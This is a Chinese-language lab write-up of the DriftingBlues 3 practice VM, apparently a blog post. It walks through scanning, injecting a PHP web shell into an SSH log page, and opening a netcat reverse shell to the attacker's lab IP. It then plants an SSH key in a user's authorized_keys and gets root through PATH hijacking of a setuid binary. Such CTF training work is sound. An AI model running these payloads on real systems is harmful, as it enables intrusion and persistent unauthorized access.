driftingblues 3靶机 wp

主机探活

nmap -sP 192.168.159.0/24

目标主机IP为:192.168.159.173


端口发现

nmap -sV -p- -A 192.168.159.173

在这里插入图片描述

目标靶机开放端口为:22、80端口


80端口

目录扫描
dirsearch -u 192.168.159.173

在这里插入图片描述

在访问这些页面后,发现只有 robots.txt中的信息有用

在这里插入图片描述

访问,发现提示 ssh 存在问题,且提供了新的目录:/eventadmins

在这里插入图片描述

访问后,在网页源码中发现一段密文

在这里插入图片描述

aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==


base64解密

在这里插入图片描述

获得一个新的目录:/adminsfixit.php

访问后发现是 ssh 登录日志

在这里插入图片描述


ssh日志

在这里插入图片描述


我们尝试ssh连接这台靶机,发现它会写入登陆的用户名

在这里插入图片描述

在这里插入图片描述


反弹shell

尝试写入 php 一句话代码

<?php system($_GET["yq"]); ?>

在这里插入图片描述


成功执行命令

在这里插入图片描述


反弹shell

nc 192.168.159.131 7777 -e /bin/bash

http://192.168.159.173/adminsfixit.php?yq00=nc%20192.168.159.131%207777%20-e%20/bin/bash

在这里插入图片描述

成功获取shell

换个比较友好的shell

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

提权

家目录

先去家目录中看看存在哪些用户,文件夹是否可以访问

在这里插入图片描述

发现存在一个 robertj 用户,且任何用户可读可执行

其内存在一个 .ssh 文件夹,可读可写可执行,准备使用ssh公私钥登录


ssh私钥登录

ssh服务公钥登录,主要流程为:

  1. 客户端生成RSA公钥和私钥
  2. 客户端将自己的公钥存放到服务器
  3. 客户端请求连接服务器,服务器将一个随机字符串发送给客户端
  4. 客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
  5. 服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。

先在本地生成密钥对

ssh-keygen

在这里插入图片描述

在本地当前用户 .ssh 文件夹中生成了密钥对

在这里插入图片描述


在目标服务器的 .ssh 文件夹下创建存放客户端公钥的文件 authorized_keys(默认配置)

在这里插入图片描述


将本机生产的公钥上传

在这里插入图片描述


把公钥信息写入目标文件

cat id_rsa.pub > authorized_keys

在这里插入图片描述


本机ssh连接目标靶机

ssh 192.168.159.173 -l robertj -i id_rsa

在这里插入图片描述

成功登录


setuid
find / -perm -u=s -type -f 2>/dev/null

发现可疑文件

在这里插入图片描述


运行后发现它调用了 ip a命令,故进行环境变量劫持

在这里插入图片描述


环境变量
cd /tmp
touch ip
echo '/bin/bash'>ip
PATH=/tmp:$PATH

在这里插入图片描述


注意,一定要把这个文件权限改为可执行,否则没用!!!

chmod 777 ip

最后运行 getinfo 这个setuid文件,成功获取 root 权限

在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值